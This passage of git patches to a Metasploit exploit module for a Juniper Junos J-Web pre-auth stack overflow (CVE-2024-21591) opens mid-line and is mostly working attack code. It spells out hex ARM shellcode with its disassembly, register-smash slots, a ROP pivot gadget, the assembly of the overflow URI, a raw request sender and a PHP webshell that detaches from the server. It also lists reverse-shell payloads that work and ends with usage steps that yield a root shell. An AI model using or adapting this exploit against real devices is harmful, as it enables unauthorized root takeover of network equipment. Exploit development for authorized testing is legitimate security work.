and S = 0xbfd6c290 - the smashed httpd stack frame. The chain: + # strcpy of this URI overflows mod_jauth's 256B buffer -> the saved sp/pc + # slots (795/799) land in the epilogue's register pop -> pc = the ldmia + # pivot gadget -> it sets sp = S+808 and pops pc = S+40 -> ARM shellcode + # -> open/write/close the randomized ini + php files -> _exit(0). + # + # Badchars: the URI cannot carry 00 20 0d 0a 25 2f 3f 23 2e (even %-encoded - + # decode precedes routing), so in-string '/' '?' '.' travel as 'Q' and the + # shellcode strb-patches the real bytes into the on-stack copy before + # write() reads it. + # [0..40) 'Q' filler - nothing reads this end of the overflow; the smash + # slots that matter start at 771. Keeps the shellcode at a + # fixed, lab-verified stack address (S+40). + SMASH_Q_LEAD = ('Q' * 40).freeze + # [40..608) ARM shellcode + literal pool - one instruction per line where + # each word is distinct, hex (little-endian words) with the disassembly + # and what it achieves; the two repetitive path-write runs are generated + # by loops (emit_path_byte / add_r3_imm) over the randomized names. + # 'add r3, r6, #imm' is the one immediate load the URI can carry: any + # imm < 0x100 encodes as imm,30,86,e2 and every alnum byte dodges the + # badchars, so a random name char never changes the instruction layout - + # only the immediate byte. + def self.add_r3_imm(ch) + format('%02x3086e2', ch.is_a?(Integer) ? ch : ch.ord) + end + + # words storing one byte of a path at the r5 cursor, then advancing it: + # badchar-free bytes load via add_r3_imm + strb, '/' and NUL come from + # registers (r8, r6), and '.' - a badchar immediate - composes as + # 0x41-0x13. Every byte ends with 'add r5, r5, 1' (cursor advance). + def self.emit_path_byte(byte) + words = case byte + when 0x2f then ['0680c5e7'] # strb r8, [r5, r6] - r8 = '/' + when 0x00 then ['0660c5e7'] # strb r6, [r5, r6] - r6 = 0 + when 0x2e then ['413086e2', '133043e2', '0630c5e7'] # add 0x41; sub 0x13; strb + else [add_r3_imm(byte), '0630c5e7'] # add r3, r6, #ch; strb + end + words + ['015085e2'] # add r5, r5, 1 + end - # Quote-free, self-preserving stub materialised at /tmp/d.php: httpd + SMASH_SHELLCODE = [ + # ---- setup: r6 = 0 (all-purpose zero reg); r8 = '/' (0x41-0x12), the one + # byte the URI cannot carry, needed for every path byte below + '066046e0' + # sub r6, r6, r6 - r6 = 0 - the shellcode's zero register + '418086e2' + # add r8, r6, 0x41 - r8 = 0x41 ('A') + '128048e2' + # sub r8, r8, 0x12 - r8 = 0x2f ('/') - '/' cannot ride the URI + # ---- sp -= 0x430: slide from the ROP-entry sp (S+832) down to the string + # scratch pad (S-240) where the path gets built + ('84d04de2' * 8) + # sub sp, sp, 0x84 x8 (0x420 of the slide) + '10d04de2' + # sub sp, sp, 0x10 + # ---- build the ini path on the scratch pad, one byte per iteration + # (PHPRC + NUL = "/tmp/\0"): emit_path_byte spells + # each byte, so a random name just changes immediates + '26584de0' + # sub r5, sp, r6, lsr 16 - r5 = sp - the path cursor + "#{PHPRC}\x00".each_byte.flat_map { |b| emit_path_byte(b) }.join + + # ---- patch the ini blob's on-stack copy: [19] and [23] = '/' (r8), [25] = '.' + '26484de0' + # sub r4, sp, r6, lsr 16 - r4 = sp + imm... + '014b84e2' + # add r4, r4, 0x400 + '104084e2' + # add r4, r4, 0x10 + '104084e2' + # add r4, r4, 0x10 + '104084e2' + # add r4, r4, 0x10 + '084084e2' + # add r4, r4, 8 - r4 = sp+0x438 = ini copy @ S+840 + '1380c4e5' + # strb r8, [r4, 0x13] - ini[19] = '/' + '1780c4e5' + # strb r8, [r4, 0x17] - ini[23] = '/' + '413086e2' + # add r3, r6, 0x41 + '133043e2' + # sub r3, r3, 0x13 + '1930c4e5' + # strb r3, [r4, 0x19] - ini[25] = '.' + # ---- open(ini path, O_WRONLY|O_CREAT|O_TRUNC = 0x601, 0644) + '26084de0' + # sub r0, sp, r6, lsr 16 - r0 = path + '024ca0e3' + # mov r4, 0x200 - r4 = 0x200 (scratch) + '261844e0' + # sub r1, r4, r6, lsr 16 + '011b81e2' + # add r1, r1, 0x400 + '011081e2' + # add r1, r1, 1 - r1 = 0x601 (O_WRONLY|O_CREAT|O_TRUNC) + '014c86e2' + # add r4, r6, 0x100 + 'a44084e2' + # add r4, r4, 0xa4 + '262844e0' + # sub r2, r4, r6, lsr 16 - r2 = 0644 + '24719fe5' + # ldr r7, [pc, 0x124] - r7 = open() addr from pool + '04e08fe2' + # add lr, pc, 4 - lr = instruction after the call + '07f0a0e1' + # mov pc, r7 - call open + '066046e0' + # sub r6, r6, r6 - landing pad after open returns + # ---- write(fd, ini copy @ S+840, 30) + '264840e0' + # sub r4, r0, r6, lsr 16 - r4 = fd + '260844e0' + # sub r0, r4, r6, lsr 16 - r0 = fd + '26184de0' + # sub r1, sp, r6, lsr 16 + '011b81e2' + # add r1, r1, 0x400 + '101081e2' + # add r1, r1, 0x10 + '101081e2' + # add r1, r1, 0x10 + '101081e2' + # add r1, r1, 0x10 + '081081e2' + # add r1, r1, 8 - r1 = ini copy @ S+840 + '1e3086e2' + # add r3, r6, 0x1e + '262843e0' + # sub r2, r3, r6, lsr 16 - r2 = 30 (ini blob length) + 'f0b09fe5' + # ldr fp, [pc, 0xf0] - fp(r11) = write() addr from pool + '04e08fe2' + # add lr, pc, 4 + '0bf0a0e1' + # mov pc, fp - call write + '066046e0' + # sub r6, r6, r6 - landing pad + # ---- close(fd) + '260844e0' + # sub r0, r4, r6, lsr 16 - r0 = fd + 'e0409fe5' + # ldr r4, [pc, 0xe0] - r4 = close() addr from pool + '04e08fe2' + # add lr, pc, 4 + '04f0a0e1' + # mov pc, r4 - call close + '066046e0' + # sub r6, r6, r6 - landing pad + # ---- patch path bytes [7..10) to the php suffix: the ini path becomes + # the php path (both share the '/tmp/X.' stem). Same load/store/ + # advance pattern as the build loop, minus the final cursor advance. + '26584de0' + # sub r5, sp, r6, lsr 16 - r5 = sp - path again + '075085e2' + # add r5, r5, 7 - cursor = path+7 - the differing suffix + PHP_SUFFIX.each_char.each_with_index.flat_map do |ch, i| + [add_r3_imm(ch), '0630c5e7'] + (i < PHP_SUFFIX.length - 1 ? ['015085e2'] : []) + end.join + + # ---- patch the php blob's on-stack copy: [1] = '?' (0x41-0x02) + '26484de0' + # sub r4, sp, r6, lsr 16 - r4 = sp + imm... + '014b84e2' + # add r4, r4, 0x400 + '404084e2' + # add r4, r4, 0x40 + '104084e2' + # add r4, r4, 0x10 + '104084e2' + # add r4, r4, 0x10 - r4 = sp+0x460 = php copy @ S+880 + '413086e2' + # add r3, r6, 0x41 + '023043e2' + # sub r3, r3, 2 + '0130c4e5' + # strb r3, [r4, 1] - php[1] = '?' + # ---- open(php path, 0x601, 0644) + '26084de0' + # sub r0, sp, r6, lsr 16 - r0 = path + '024ca0e3' + # mov r4, 0x200 - r4 = 0x200 (scratch) + '261844e0' + # sub r1, r4, r6, lsr 16 + '011b81e2' + # add r1, r1, 0x400 + '011081e2' + # add r1, r1, 1 - r1 = 0x601 (O_WRONLY|O_CREAT|O_TRUNC) + '014c86e2' + # add r4, r6, 0x100 + 'a44084e2' + # add r4, r4, 0xa4 + '262844e0' + # sub r2, r4, r6, lsr 16 - r2 = 0644 + '60709fe5' + # ldr r7, [pc, 0x60] - r7 = open() addr from pool + '04e08fe2' + # add lr, pc, 4 + '07f0a0e1' + # mov pc, r7 - call open + '066046e0' + # sub r6, r6, r6 - landing pad after open returns + # ---- write(fd, php copy @ S+880, 318) + '264840e0' + # sub r4, r0, r6, lsr 16 - r4 = fd + '260844e0' + # sub r0, r4, r6, lsr 16 - r0 = fd + '26184de0' + # sub r1, sp, r6, lsr 16 + '011b81e2' + # add r1, r1, 0x400 + '401081e2' + # add r1, r1, 0x40 + '101081e2' + # add r1, r1, 0x10 + '101081e2' + # add r1, r1, 0x10 - r1 = php copy @ S+880 + '013c86e2' + # add r3, r6, 0x100 + '3e3083e2' + # add r3, r3, 0x3e + '262843e0' + # sub r2, r3, r6, lsr 16 - r2 = 0x13e = 318 (php blob length) + '2cb09fe5' + # ldr fp, [pc, 0x2c] - fp(r11) = write() addr from pool + '04e08fe2' + # add lr, pc, 4 + '0bf0a0e1' + # mov pc, fp - call write + '066046e0' + # sub r6, r6, r6 - landing pad + # ---- close(fd) + '260844e0' + # sub r0, r4, r6, lsr 16 - r0 = fd + '1c409fe5' + # ldr r4, [pc, 0x1c] - r4 = close() addr from pool + '04e08fe2' + # add lr, pc, 4 + '04f0a0e1' + # mov pc, r4 - call close + '066046e0' + # sub r6, r6, r6 - landing pad + # ---- _exit(0) - die here, never return to the smashed frame + '260846e0' + # sub r0, r6, r6, lsr 16 - r0 = 0 - exit code + '0c909fe5' + # ldr sb, [pc, 0xc] - sb(r9) = _exit() addr from pool + '09f0a0e1' + # mov pc, sb - call _exit - no return + # ---- literal pool: open/write/close/exit addresses (the ldr targets above) + '34425304' + # data: open() = 0x04534234 + 'bc695404' + # data: write() = 0x045469bc + 'b0695404' + # data: close() = 0x045469b0 + '0c5f5404' # data: _exit() = 0x04545f0c + ].pack('H*').freeze + + # [608..771) 'Q' filler - dead space in the overflow between the shellcode + # and the first slot the epilogue actually pops. + SMASH_Q_GAP = ('Q' * 163).freeze + # [771..795) smashed r4..fp (6 registers) - junk; popped, never read. + SMASH_JUNK = ('Q' * 24).freeze + # [795..799) smashed sp slot: S+808 = 0xbfd6c5b8 - once the ldmia pivot + # below fires, sp points at the ROP chain (808). + SMASH_SP_SLOT = [0xbfd6c5b8].pack('V').freeze + # [799..803) smashed pc slot: 0x044b131c 'ldmia sp!, {r0,r1,r2,r3,lr,pc}' - + # the stack-pop gadget the mod_jauth epilogue jumps to; it loads + # the 5 junk words + shellcode pc from the chain and writeback-sp + # lands the shellcode's sp at S+832. + SMASH_PC_SLOT = [0x044b131c].pack('V').freeze + # [803..808) 'Q' filler between the smash slots and the chain. + SMASH_Q_ALIGN = ('Q' * 5).freeze + # [808..828) ROP chain r0-r3 + lr: 'BBBB' junk - loaded by the ldmia pivot, + # never used by the shellcode. + SMASH_ROP_JUNK = ('B' * 20).freeze + # [828..832) ROP chain pc: S+40 = 0xbfd6c2b8 - lands execution at the + # shellcode above. + SMASH_ROP_PC = [0xbfd6c2b8].pack('V').freeze + # [832..840) 'Q' filler. + SMASH_Q_ALIGN2 = ('Q' * 8).freeze + # [840..870) content written to the ini file (30B) - auto_prepend_file + # pointing at the php file. The 'Q's at [19] [23] [25] travel as + # placeholders for '/' '/' and the name's '.'; the shellcode's + # ini-patch phase writes the real bytes before write(). + SMASH_INI_BLOB = "auto_prepend_file=\"QtmpQ#{PHP_NAME[0]}Q#{PHP_NAME[2, 3]}\"".freeze + # [870..880) 'Q' filler. + SMASH_Q_ALIGN3 = ('Q' * 10).freeze + # [880..1198) content written to the php file (318B) - the trigger webshell + # the module talks to (read/list/write/exec). Tabs are written + # "\t"; no spaces, '.', or literal '?' anywhere - all badchars. + SMASH_PHP_BLOB = ( + # webshell prolog: print the MARK_BEGIN output marker (randomized per + # load). byte[1] '?' is a badchar and travels as 'Q', patched at runtime + ' by fire_smash + # below. + SMASH_URI = ( + SMASH_Q_LEAD + + SMASH_SHELLCODE + + SMASH_Q_GAP + + SMASH_JUNK + + SMASH_SP_SLOT + + SMASH_PC_SLOT + + SMASH_Q_ALIGN + + SMASH_ROP_JUNK + + SMASH_ROP_PC + + SMASH_Q_ALIGN2 + + SMASH_INI_BLOB + + SMASH_Q_ALIGN3 + + SMASH_PHP_BLOB + + SMASH_Q_TAIL + ).force_encoding('ASCII-8BIT').freeze + + # Quote-free, self-preserving stub materialised at the drop path: httpd # backslash-escapes every quote in a form-field value on its way into the # CGI env (lab-verified: 26 quotes grew a 281B write to 307B), so payloads # travel as hex in the e= field and are decoded server-side. pack("H*",..) @@ -40,24 +292,24 @@ class MetasploitModule < Msf::Exploit::Remote # stdio closed. Without pcntl (the device php build has no pcntl symbols), # print the marker, flush, close the CGI stdio pipes and linger: httpd # sees EOF and finalizes the response while the process keeps running. - PAYLOAD_PROLOG = <<-'PHP'.freeze + PAYLOAD_PROLOG = <<-PHP.freeze 0){print('PWN:::detached:::NWP');@ob_flush();@flush();__msf_clean();return;} + if($__pid>0){print('#{MARK_BEGIN}detached#{MARK_END}');@ob_flush();@flush();__clean();return;} if($__pid==0){$__fork=true; if(function_exists('posix_setsid')){@posix_setsid();} } } if(!$__fork){ - print('PWN:::lingering:::NWP'); + print('#{MARK_BEGIN}lingering#{MARK_END}'); @ob_flush();@flush(); } @fclose(STDIN);@fclose(STDERR);@fclose(STDOUT); - __msf_clean(); + __clean(); ?> PHP @@ -65,16 +317,16 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Junos J-Web Pre-Auth Stack Overflow PHP RCE (CVE-2024-21591)', + 'Name' => 'Junos J-Web Pre-Auth Stack Buffer Overflow PHP RCE (CVE-2024-21591)', 'Description' => %q{ This module exploits CVE-2024-21591 (JSA75729), a pre-auth stack - overflow in the J-Web httpd of Juniper Junos, to execute a PHP - payload as uid 0 over pure HTTP. + buffer overflow in the J-Web httpd of Juniper Junos, to execute + a PHP payload as uid 0 over pure HTTP. A single GET with a crafted 1206-byte URI smashes the saved registers, pivots through an ldmia gadget into a short ROP chain and - ARM shellcode that writes /tmp/p.ini (auto_prepend_file) and - /tmp/p.php inside the httpd chroot jail. Every later POST to + ARM shellcode that writes a randomized ini (auto_prepend_file) + and webshell into /tmp inside the httpd chroot jail. Every later POST to login.php with a PHPRC form field then runs attacker PHP before any application code. @@ -91,14 +343,14 @@ def initialize(info = {}) recommended (its socket I/O is PHP-native and unrestricted). The payload is delivered as hex through a quote-free stub because httpd backslash-escapes quotes in form-field values. On execution it - deletes /tmp/p.ini, /tmp/p.php and /tmp/d.php, and detaches + deletes all three dropped files, and detaches (pcntl_fork where available, otherwise closing the CGI stdio pipes so httpd finalizes the response) to keep the web interface serving - while the session lives. Re-running the module re-fires the weapon. + while the session lives. Re-running the module re-fires the smash. - httpd crashes during weapon delivery by design and is respawned by + httpd crashes during smash delivery by design and is respawned by httpd-gk within seconds. Verified on an EX2200 (12.3R7.7) in an - authorized lab; the weapon is stack-address specific, other builds + authorized lab; the smash URI is stack-address specific, other builds need a rebuilt URI. Verified against EX2200-48T-4G running 12.3R7.7. @@ -162,7 +414,7 @@ def exploit before = framework.sessions.length res = post_fields({ 'PHPRC' => PHPRC }, 15) report_php_error(res) - mode = res && res.body.to_s[/PWN:::(detached|lingering):::NWP/, 1] + mode = res && res.body.to_s[/#{MARK_BEGIN}(detached|lingering)#{MARK_END}/, 1] if mode == 'detached' print_good('Payload forked - CGI request completed, web interface stays up') elsif mode == 'lingering' @@ -180,7 +432,7 @@ def exploit if framework.sessions.length > before print_good("Payload executed - session opened (#{waited}s)") - print_good('Cleaned /tmp/p.ini, /tmp/p.php and /tmp/d.php from the target') + print_good("Cleaned #{PHPRC}, #{PHP_PATH} and #{DROP_PATH} from the target") else print_status('Payload fired; no session yet - if the handler is listening, it may still connect') end @@ -188,10 +440,6 @@ def exploit private - def weapon - @weapon ||= Base64.decode64(WEAPON_B64).force_encoding('ASCII-8BIT') - end - def post_fields(fields, timeout = 20) send_request_cgi({ 'method' => 'POST', 'uri' => '/login.php', 'vars_post' => fields }, timeout) end @@ -214,25 +462,25 @@ def alive? !out.nil? && out.include?(PROBE_RESPONSE) end - # byte-exact raw GET on our own socket: the weapon URI carries binary + # byte-exact raw GET on our own socket: the smash URI carries binary # ROP/shellcode bytes that must not be re-encoded by the HTTP layer, and - # the smash is request-shape sensitive - this matches the proven python - # fire() byte for byte (including the literal 'Host: x'). NB: HttpClient's + # the smash is request-shape sensitive - this matches the lab-verified + # request byte for byte (including the literal 'Host: x'). NB: HttpClient's # connect() builds an Http::Client and never sets self.sock, so the raw # socket must come from Rex directly. - def fire_weapon - print_status("Firing smash GET (#{weapon.length}B weapon URI) at #{peer}") + def fire_smash + print_status("Firing smash GET (#{SMASH_URI.length}B smash URI) at #{peer}") s = Rex::Socket::Tcp.create( 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) - req = "GET /#{weapon} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n" + req = "GET /#{SMASH_URI} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n" s.put(req) - vprint_status("Smash GET sent (#{req.length}B request, weapon #{weapon.length}B)") + vprint_status("Smash GET sent (#{req.length}B request, smash #{SMASH_URI.length}B)") s.get_once(-1, 3) rescue EOFError - vprint_status('httpd closed the connection (expected - the weapon _exit(0)s it)') + vprint_status('httpd closed the connection (expected - the shellcode _exit(0)s it)') nil rescue StandardError => e print_error("Smash GET failed: #{e.class}: #{e.message}") @@ -247,18 +495,18 @@ def fire_weapon def ensure_trigger if alive? - print_good('Webshell trigger already live (/tmp/p.ini + /tmp/p.php answering)') + print_good("Webshell trigger already live (#{PHPRC} + #{PHP_PATH} answering)") return true end - print_status("Trigger not live - firing smash (#{weapon.length}B URI), #{FIRE_ATTEMPTS} attempts max") + print_status("Trigger not live - firing smash (#{SMASH_URI.length}B URI), #{FIRE_ATTEMPTS} attempts max") 1.upto(FIRE_ATTEMPTS) do |i| - fire_weapon + fire_smash sleep(RESPAWN_WAIT) - fire_weapon + fire_smash sleep(6) if alive? - print_good("Weapon delivered on attempt #{i} - trigger live") + print_good("Smash delivered on attempt #{i} - trigger live") return true end print_status("Attempt #{i}/#{FIRE_ATTEMPTS}: not live yet, retrying") @@ -306,7 +554,7 @@ def run_stage(payload_php) return false unless web_write(DROP_PATH, STUB) && swap_ini return true if deliver(payload_php) - print_status('Delivery failed - re-firing the weapon and retrying once') + print_status('Delivery failed - re-firing the smash and retrying once') ensure_trigger && web_write(DROP_PATH, STUB) && swap_ini && deliver(payload_php) end From 07171d678dd65e0967e99b41f4c3de3c5b56ce31 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 3 Sep 2026 14:10:21 -0400 Subject: [PATCH 6/7] remove default payload, but document working payloads --- .../http/junos_jweb_preauth_rce_cve_2024_21591.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb index 4edfdb0b481e4..2781e0f2d417f 100644 --- a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb +++ b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # we crash the http server then exploit it include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck # markers for wrapping data in known bounds MARK_BEGIN = Rex::Text.rand_text_alphanumeric(6).freeze @@ -367,7 +368,13 @@ def initialize(info = {}) 'Privileged' => true, 'Targets' => [['Junos 12.3R7.7 (EX2200-class)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }]], 'DefaultTarget' => 0, - 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'SSL' => false }, + # Working payloads: + # php/meterpreter/reverse_tcp + # php/meterpreter/reverse_http + # php/reverse_php + # Not working payloads: (pcntl_fork unavailable - payload closed the CGI stdio pipes and lingers) + # php/unix/cmd/reverse + # php/unix/cmd/reverse_bash 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], From 711a98108fec31ff7a41d54feca130b2c7bf84d8 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 3 Sep 2026 14:28:00 -0400 Subject: [PATCH 7/7] juniper docs --- .../junos_jweb_preauth_rce_cve_2024_21591.md | 104 ++++++------------ 1 file changed, 36 insertions(+), 68 deletions(-) diff --git a/documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md b/documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md index ca208a77b4d85..25febc210fda8 100644 --- a/documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md +++ b/documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md @@ -1,85 +1,53 @@ ## Vulnerable Application -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install -files, as well as instructions on installing/configuring the environment if it is different than a -standard install. Much of this will come from the PR, and can be copy/pasted. - -For example, an exploit module targeting Jenkins might look like: - -> Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where -> binaries are available for a variety of operating systems. Both LTS and weekly -> builds are available. -> -> Default settings have the script console enabled and require a valid user -> account in order to access it. -> -> This exploit has been tested against the following Jenkins versions: -> * 2.411 -> * 2.410 -> * 2.346.3 - -Or for a module that can be set up with Docker: - -> A vulnerable environment can be started with Docker: -> -> ``` -> docker run --interactive --tty --rm --publish 8080:8080 \ -> --volume $(pwd)/config.xml:/app/config.xml \ -> vulnerable/app:1.2.3 -> ``` - -Or for a module targeting a downloadable application: - -> Drupal 7.31 official [download](https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz) +This module exploits CVE-2024-21591 (JSA75729), a pre-auth stack +buffer overflow in the J-Web httpd of Juniper Junos, to execute +a PHP payload as uid 0 over pure HTTP. + +A single GET with a crafted 1206-byte URI smashes the saved +registers, pivots through an ldmia gadget into a short ROP chain and +ARM shellcode that writes a randomized ini (auto_prepend_file) +and webshell into /tmp inside the httpd chroot jail. Every later POST to +login.php with a PHPRC form field then runs attacker PHP before any +application code. + +Attribution note: the overflow is an unbounded strcpy of the +request URL into a 256-byte stack buffer in mod_jauth's URL +classifier (epilogue loads PC off the smashed stack). The same +unbounded copy is present in 12.3R7.7, 12.3R12 and 12.3R12-S15 +(built 2020) despite strlcpy being linked - matching JSA75729's +"out-of-bounds write, insecure function, all versions earlier than +20.4R3-S9" on SRX/EX, and NOT the 2016 JSA10754 fix wave. + +mac_veriexec (loaded active enforce) denies every external exec in +the jail, so only pure-PHP payloads work - php/meterpreter is +recommended (its socket I/O is PHP-native and unrestricted). The +payload is delivered as hex through a quote-free stub because httpd +backslash-escapes quotes in form-field values. On execution it +deletes all three dropped files, and detaches +(pcntl_fork where available, otherwise closing the CGI stdio pipes +so httpd finalizes the response) to keep the web interface serving +while the session lives. Re-running the module re-fires the smash. + +httpd crashes during smash delivery by design and is respawned by +httpd-gk within seconds. Verified on an EX2200 (12.3R7.7) in an +authorized lab; the smash URI is stack-address specific, other builds +need a rebuilt URI. ## Verification Steps -Example steps in this format (is also in the PR): - -1. Install the application -1. Start msfconsole -1. Do: `use [module path]` -1. Do: `run` -1. You should get a shell. - -For example, an exploit module: -1. Install the application +1. Boot the device 1. Start msfconsole -1. Do: `use exploit/multi/http/drupal_drupageddon` +1. Do: `use exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591` 1. Do: `set rhost [ip]` 1. Do: `run` 1. You should get a shell. ## Options -List each option and how to use it. - -### Option Name - -Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. - -For example: - -### TARGETURI - -The path to the target instance of the application. (Default: `/`) - -### USERNAME - -A username for an account that has access to the admin console. This is only -necessary if the application has been configured to require authentication. - -### ACTION - -Set `ACTION` to either `PUT` or `DELETE`. (Default: `PUT`) - -### SESSION - -Which session to use, which can be viewed with `sessions -l`. ## Scenarios -Specific demo of using the module that might be useful in a real world scenario. -### Version and OS +### Juniper Ex2200 12.3R7.7 ``` msf > use exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591